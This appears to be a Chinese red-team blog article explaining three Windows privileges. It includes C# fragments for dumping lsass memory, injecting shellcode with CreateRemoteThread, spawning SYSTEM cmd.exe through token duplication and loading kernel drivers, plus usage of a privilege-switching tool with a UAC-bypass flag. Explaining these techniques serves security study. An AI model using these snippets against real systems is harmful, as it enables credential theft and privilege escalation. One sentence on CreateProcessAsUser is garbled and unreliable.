在 Windows 操作系统中,特权是进程访问控制的关键机制之一,它决定了进程能够执行哪些敏感操作。某些特权,如 SeDebugPrivilege
、SeAssignPrimaryTokenPrivilege
和 SeLoadDriverPrivilege
,赋予进程极高的权限,使其能够访问受保护的进程、修改系统令牌,甚至加载内核驱动。因此,这些特权在安全防御与攻击技术中都扮演着至关重要的角色。本篇文章将深入分析这三种关键特权,探讨它们的功能、常见应用场景及其安全影响。
01. 系统调试特权
SeDebugPrivilege 允许进程访问所有进程的内存,包括 SYSTEM
进程。这意味着持有该权限的进程可以读取、修改和注入代码到任何进程。许多 Windows 提权漏洞依赖于 SeDebugPrivilege
来访问 lsass.exe
并窃取凭据。
AccessToken.EnablePrivilege("SeDebugPrivilege", token);
IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, lsassProcessId);
if (hProcess == IntPtr.Zero)
{
throw new Exception("无法打开 lsass 进程");
}
// 读取 lsass 内存
ReadProcessMemory(hProcess, memoryAddress, buffer, bufferSize, out bytesRead);
如果进程没有 SeDebugPrivilege
,则 OpenProcess
可能会失败,返回 ERROR_ACCESS_DENIED
。
拥有 SeDebugPrivilege
后,可以在其他进程(包括 SYSTEM
进程)中创建远程线程,执行代码:
// 打开目标进程
IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, targetPid);
IntPtr remoteMemory = VirtualAllocEx(hProcess, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteMemory, shellcode, shellcode.Length, out _);
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, remoteMemory, IntPtr.Zero, 0, IntPtr.Zero);
总的来说,该权限在调试工具(如 WinDbg
、OllyDbg
、x64dbg
)或远程管理工具(如 Task Manager
)中用于分析进程行为。但在攻击场景下,它常被用于 进程注入、Dump Lsass、提权。
02. 分配主令牌特权
SeAssignPrimaryTokenPrivilege 允许进程 更改或分配进程的访问令牌 。该权限通常与 SeImpersonatePrivilege
结合使用,用于 创建 SYSTEM 权限的进程。如果进程拥有 SeAssignPrimaryTokenPrivilege
,可以使用 CreateProcessAsUser
运行 cmd.exe
:
// 复制 SYSTEM 令牌
IntPtr hSystemToken;
DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, IntPtr.Zero, SecurityImpersonation, TokenPrimary, out hSystemToken);
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
CreateProcessAsUser(hSystemToken, "C:\\Windows\\System32\\cmd.exe", null, IntPtr.Zero, IntPtr.Zero, false, 0, IntPtr.Zero, IntPtr.Zero, ref si, out pi);
如果进程没有 CreateProcessAsUser
可能会失败,允许低权限用户 切换到高权限 Token(例如从 普通用户
切换到 SYSTEM
)。
03. 加载驱动特权
SeLoadDriverPrivilege 允许进程 加载和卸载内核模式驱动程序 (Kernel-mode Driver)。该权限通常由
管理员
或 NT AUTHORITY\SYSTEM
账户持有。常见用法如下所示。
// 加载驱动
ServiceControlManager scm = OpenSCManager(null, null, SC_MANAGER_CREATE_SERVICE);
ServiceHandle service = CreateService(scm, "MyDriver", "My Kernel Driver",
SERVICE_START | SERVICE_STOP | SERVICE_DELETE,
SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, "C:\\Path\\To\\Driver.sys", null, IntPtr.Zero, null, null, null);
StartService(service, 0, null);
综上,这三个特权如果被滥用,可能导致完全控制系统。因此,在权限管理中,应限制普通用户或应用程序获取这些特权,以防止攻击者利用它们进行提权或绕过安全防护。
04. 工具实战用法
Sharp4UserId就是一款基于此技术实现的红队工具,通过指定的账户和密码,以不同身份启动新进程,赋予进程对应的权限,从而实现内网提权或降权。还可以通过添加 --bypass-uac 参数绕过 UAC,以管理员身份启动高权限进程。
4.1 工具用法
Sharp4UserId.exe 在已知用户账户和密码的情况下,以该用户的身份启动高权限进程,例如管理员账户。也可以使用普通用户启动新进程以限制其访问权限。
Sharp4UserId.exe Admin 123456 "cmd /c whoami /all"
例如,以普通用户Admin 运行命令 cmd /c whoami /all,如下图所示。
综上,Sharp4UserId.exe 是一款强大的红队工具,通过创建特定用户上下文进程实现灵活的权限控制。通过深入了解其代码实现与用法,可以在红队活动中更高效地切换权限,以适应不同场景需求。
03.星球学习资源
我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。
.NET 免杀WebShell
.NET 反序列化漏洞
.NET 安全防御绕过
.NET 内网信息收集
.NET 本地权限提升
.NET 内网横向移动
.NET 目标权限维持
.NET 数据外发传输
这些阶段所涉及的工具集不仅代表了当前.NET安全领域的最前沿技术,更是每一位网络安全爱好者不可或缺的实战利器。
文章涉及的工具已打包,请加/入/后下/载:https://wx.zsxq.com/group/51121224455454